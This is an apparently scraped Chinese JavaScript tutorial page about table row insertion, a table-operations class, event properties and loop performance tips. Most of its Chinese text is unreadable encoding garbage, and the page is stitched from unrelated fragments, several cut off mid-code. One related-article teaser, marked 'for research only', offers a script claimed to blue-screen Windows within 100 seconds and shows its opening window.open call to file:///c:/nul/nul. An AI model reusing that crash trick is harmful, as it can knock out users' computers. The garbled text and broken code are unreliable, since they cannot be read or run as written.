javascript ¶¯Ì¬²åÈëÐÐ ±í¸ñ²Ù×÷
<script>
var i = 0;
function insertTr(obj)
{
var tr1 = tb.insertRow(obj.rowIndex+1);
var td1 = tr1.insertCell();
td1.innerHTML = "newCell" + i;
i += 1;
}
</script>
<table id=tb>
<tr onclick="insertTr(this)">
<td>2</td>
</tr>
<tr onclick="insertTr(this)">
<td>1</td>
</tr>
</table>
±í¸ñ²Ù×÷Àà(Ìí¼Ó£¬É¾³ý£¬ÅÅÐò£¬ÉÏÒÆ£¬ÏÂÒÆ)
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style type="text/css">*{font-size:14px}button{margin:3px}</style>
<script type="text/javascript">
var mytable=null,mytable2=null;
window.onload=function(){
mytable=new CTable("tbl",10);
mytable2=new CTable("tbl2",6);
}
Array.prototype.each=function(f){for(var i=0;i<this.length;i++) f(this[i],i,this)}
function $A(arrayLike){
for(var i=0,ret=[];i<arrayLike.length;i++) ret.push(arrayLike[i]);
return ret
}
Function.prototype.bind = function() {
var __method = this, args = $A(arguments), object = args.shift();
return function() {
return __method.apply(object, args.concat($A(arguments)));
}
}
function CTable(id,rows){
this.tbl=typeof(id)=="string"?document.getElementById(id):id;
if (rows && /^\d+$/.test(rows)) this.addrows(rows)
}
CTable.prototype={
addrows:func
Ïà¹ØÎĵµ£º
¡¾£¡ÉùÃ÷£º´Ë³ÌÐòÖ»¹©Ñо¿Ê¹Óã¬ÈçÓÃ×ö²»Õýµ±ÓÃ;ºó¹û×Ô¸º¡¿
100ÃëÄÚÀ¶ÆÁËÀ»úµÄJavascript½Å±¾Ô´´úÂë
Òý×Ô:http://www.webdeveloping.cn/blog/?action=show&id=78
<html>
<head>
<script LANGUAGE="javascript">
¡¡¡¡function leave() {
window.open(file:///c:/nul/nul,,toolbar=no,menub ......
JavaScript ʼþ·½·¨
http://www.webdeveloping.cn/blog/?action=show&id=207
ʼþÔ´¶ÔÏó
event.srcElement.tagName
event.srcElement.type
²¶»ñÊÍ·Å
event.srcElement.setCapture();
event.srcElement.releaseCapture();
ʼþ°´¼ü
event.keyCode
event.shiftKey
event.altKey
event.ctrlKey
ʼþ·µ»ØÖµ
......
ÔÚÊý°ÙÍòÕÅÒ³ÃæÖУ¬JavaScript ±»ÓÃÀ´¸Ä½øÉè¼Æ¡¢ÑéÖ¤±íµ¥¡¢¼ì²âä¯ÀÀÆ÷¡¢´´½¨cookies£¬µÈµÈµÈµÈ¡£
JavaScript ÊÇÒòÌØÍøÉÏ×îÁ÷ÐеĽű¾ÓïÑÔ£¬²¢ÇÒ¿ÉÔÚËùÓÐÖ÷ÒªµÄä¯ÀÀÆ÷ÖÐÔËÐУ¬±È·½Ëµ Internet
Explorer¡¢ Mozilla¡¢Firefox¡¢Netscape¡¢ºÍ Opera¡£
......
var greeting_w = {
c:['ÄãºÃ!', '»¶Ó»ØÀ´', '»¶Ó»Øµ½×éÖ¯', '×£ÄãºÃÐÄÇ飡', 'Hi~', 'Hello!', '*^o^*', ':D', 'ûʶàºÈË®', 'CR=ChinaRen', 'ÓÖ¼ûÃæÁË!', '¶àÔ˶¯ÉÙÉú²¡', '»¶ÓÀ´µØÇò~', '»¶ÓÀ´»ðÐÇ~', 'ÄãÌ«ÓвÅÁË!', 'hoho', 'ûʳԸöË®¹û', 'À´ºß¸ö¸è¶ù', '²ðÄÉÈÊ»¶ÓÄã!', 'ÏëtaÁËÂð?', 'ɶʱͬѧ»á?', '±£»¤º ......
ÐÞ¸ÄÑ»·µÄÖ´Ðз½Ê½
for(var i=0;i<element.childNodes.length;i++){
Ö´ÐдúÂë
}
ÕâÖÖ·½Ê½Ã¿´ÎÑ»·¶¼ÒªÈ¡element.childNodes.lengthµÄÖµ£¬Ó¦¸Ã¸ÄΪÈçϵÄ
var n£½element.childNodes.length
for(var i=0;i<n;i++){
Ö´ÐдúÂë
}
2£ºÐÞ¸Ädom²Ù×÷µÄ´ÎÊý
domÅúÁ¿²åÈëÒ»ÅúÀàËƵĽڵ㲻ÈçÏȹ¹ÔìÒ»¸ö¶ÔÏó£¬ ......